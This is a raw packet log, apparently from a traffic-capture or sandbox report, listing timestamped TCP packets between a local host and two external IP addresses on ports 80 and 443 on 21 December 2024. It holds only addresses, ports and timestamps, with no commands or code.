                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.792145967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.793706894 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.793759108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.793804884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.794020891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.795500040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.795540094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.795592070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.797053099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.797112942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.797161102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.797211885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.798738956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.798857927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.798924923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.800432920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.800569057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.800637007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.802054882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.802229881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.802293062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803375006 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803587914 CET49853443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803634882 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803680897 CET49853443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803705931 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803706884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803770065 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803772926 CET49853443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803819895 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803822994 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.803889990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.805412054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.805565119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.805629969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.807041883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.807095051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.807234049 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.807286024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.808696985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.808768034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.808808088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.808861017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.810328960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.810467958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.810523033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.812016010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.812114000 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.812151909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.812182903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.813653946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.813730001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.813759089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.813807011 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.816071987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.816098928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.816148996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.816973925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.817025900 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.817094088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.817145109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.818638086 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.818697929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.818784952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.818886995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.822956085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.822973967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823025942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823262930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823326111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823452950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823503971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823606014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823657990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823690891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.823741913 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.825242043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.825294971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.825335979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.825387001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.826889038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.826942921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.826978922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.827028036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.828528881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.828627110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.828677893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.830212116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.830317020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.830384016 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834537029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834553957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834608078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834871054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834888935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834919930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.834964037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.836416960 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.836477995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.836592913 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.836638927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.838043928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.838222027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.838279009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.839710951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.839728117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.839777946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.840085983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.840147972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.840194941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.840240002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.841768980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.841922045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.841975927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.843400002 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.843470097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.843527079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.843575954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.845056057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.845251083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.845303059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.846904993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.847111940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.847172976 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852103949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852119923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852135897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852150917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852181911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852210999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.852988005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.853168011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.853229046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.854772091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.854788065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.854859114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.856327057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.856394053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.856451988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.856508970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.857868910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.858041048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.858108997 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.859599113 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.859668970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.859781027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.859838009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.861285925 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.861303091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.861344099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.861373901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.862848043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.862904072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.863007069 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.863054991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.864588976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.864619970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.864638090 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.864664078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.866372108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.866390944 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.866431952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.866461039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.867952108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.868012905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.868120909 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.868432999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.869436979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.869493961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.869617939 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.869751930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.870246887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.870261908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.870297909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.870326996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.958169937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.958324909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.958345890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.958395958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.958962917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.959017992 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.959057093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.959111929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.960617065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.960670948 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.960688114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.960716009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.962289095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.962347984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982146978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982161999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982212067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982243061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982599974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982630014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.982678890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.983962059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.984024048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.984066963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.984117985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.985346079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.985419989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.985451937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.985565901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.987071037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.987096071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.987131119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.987179995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.988260031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.988327980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.988351107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.988409042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.989511013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.989536047 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.989567041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.989598036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.990858078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.990914106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.991079092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.991169930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.992341995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.992398977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.992556095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.992616892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.993509054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.993563890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.993616104 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.993715048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.994859934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.994926929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.994960070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.995014906 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.996270895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.996328115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.996336937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.996401072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.997488976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.997559071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.997565985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.997632027 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.998845100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.999054909 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.999092102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:44.999125004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.000201941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.000263929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.000277996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.000313997 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.001383066 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.001451969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.001518011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.001564026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.002722025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.002779961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.002798080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.002830029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.003997087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.004072905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.004096985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.004149914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.005351067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.005414009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.005459070 CET804985031.41.244.11192.168.2.4
